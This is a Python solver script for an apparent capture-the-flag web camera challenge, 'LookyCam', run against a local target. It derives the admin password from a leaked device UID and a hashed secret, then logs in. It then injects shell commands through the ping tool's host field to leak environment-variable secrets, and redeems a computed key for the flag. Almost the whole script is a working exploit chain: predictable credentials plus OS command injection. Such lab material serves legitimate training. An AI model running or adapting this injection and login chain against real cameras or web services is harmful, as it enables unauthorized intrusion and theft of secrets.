#!/usr/bin/env python3
import argparse
import hashlib
import http.cookiejar
import os
import re
import sys
from typing import Optional, Tuple
from urllib import parse, request


def sha1_hex(value: str) -> str:
    return hashlib.sha1(value.encode("utf-8")).hexdigest()


def normalize_base(raw: str) -> str:
    if "://" not in raw:
        raw = "http://" + raw
    return raw.rstrip("/")


def read_part_a(cli_value: Optional[str]) -> Optional[str]:
    if cli_value:
        return cli_value
    env_value = os.getenv("PWD_PART_A")
    if env_value:
        return env_value
    candidates = [
        os.path.join(os.getcwd(), "web_camera_5.yml"),
        os.path.join(os.path.dirname(__file__), "web_camera_5.yml"),
    ]
    for path in candidates:
        if not os.path.exists(path):
            continue
        try:
            data = open(path, "r", encoding="utf-8", errors="ignore").read()
        except OSError:
            continue
        match = re.search(r"PWD_PART_A=([^\s]+)", data)
        if match:
            return match.group(1)
    return None


def get_uid(opener: request.OpenerDirector, base: str) -> Optional[str]:
    resp = opener.open(base + "/login")
    uid = resp.headers.get("X-Device-Id")
    if uid:
        return uid.strip()
    body = resp.read().decode("utf-8", errors="ignore")
    match = re.search(r"UID:\s*([A-Za-z0-9_-]+)", body)
    return match.group(1) if match else None


def has_cookie(cj: http.cookiejar.CookieJar, name: str) -> bool:
    return any(cookie.name == name for cookie in cj)


def login(
    opener: request.OpenerDirector,
    cj: http.cookiejar.CookieJar,
    base: str,
    uid: str,
    part_a: str,
) -> str:
    password = sha1_hex(f"{part_a}:{uid}")[:10]
    data = parse.urlencode({"username": "admin", "password": password}).encode("utf-8")
    req = request.Request(base + "/login", data=data, method="POST")
    opener.open(req).read()
    if not has_cookie(cj, "sid"):
        raise RuntimeError("login failed: no session cookie")
    return password


def find_flag(text: str) -> Optional[str]:
    match = re.search(r"caplag\{[^}]+\}[^\s<]*", text)
    return match.group(0) if match else None


def exploit_ping(
    opener: request.OpenerDirector,
    base: str,
) -> Tuple[Optional[str], Optional[str], str]:
    payload = "127.0.0.1; echo RCE:$CAMERA_RCE_FLAG; echo PARTC:$PWD_PART_C"
    data = parse.urlencode({"host": payload}).encode("utf-8")
    req = request.Request(base + "/admin/tools/ping", data=data, method="POST")
    text = opener.open(req).read().decode("utf-8", errors="ignore")
    rce_match = re.search(r"RCE:([^\s<]+)", text)
    partc_match = re.search(r"PARTC:([^\s<]+)", text)
    rce_flag = rce_match.group(1) if rce_match else find_flag(text)
    part_c = partc_match.group(1) if partc_match else None
    return rce_flag, part_c, text


def redeem_flag(
    opener: request.OpenerDirector,
    base: str,
    part_a: str,
    part_c: str,
    uid: str,
) -> Tuple[str, Optional[str]]:
    key = sha1_hex(f"{part_a}:{part_c}:{uid}")[:16]
    data = parse.urlencode({"key": key}).encode("utf-8")
    req = request.Request(base + "/admin/redeem", data=data, method="POST")
    text = opener.open(req).read().decode("utf-8", errors="ignore")
    return key, find_flag(text)


def main() -> int:
    parser = argparse.ArgumentParser(description="Solve LookyCam challenge.")
    parser.add_argument("--url", default="http://127.0.0.1:8070", help="Base URL")
    parser.add_argument("--part-a", dest="part_a", help="PWD_PART_A value")
    args = parser.parse_args()

    base = normalize_base(args.url)
    part_a = read_part_a(args.part_a)
    if not part_a:
        print("PWD_PART_A not provided and not found in web_camera_5.yml", file=sys.stderr)
        return 2

    cj = http.cookiejar.CookieJar()
    opener = request.build_opener(request.HTTPCookieProcessor(cj))

    uid = get_uid(opener, base)
    if not uid:
        print("Failed to determine CAMERA_UID from /login", file=sys.stderr)
        return 2

    try:
        password = login(opener, cj, base, uid, part_a)
    except RuntimeError as exc:
        print(str(exc), file=sys.stderr)
        return 2

    rce_flag, part_c, _ = exploit_ping(opener, base)
    if not part_c:
        print("Failed to extract PWD_PART_C via ping injection", file=sys.stderr)
        return 2

    key, final_flag = redeem_flag(opener, base, part_a, part_c, uid)

    print(f"uid: {uid}")
    print(f"login_password: {password}")
    print(f"rce_flag: {rce_flag or 'not found'}")
    print(f"part_c: {part_c}")
    print(f"redeem_key: {key}")
    print(f"final_flag: {final_flag or 'not found'}")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())
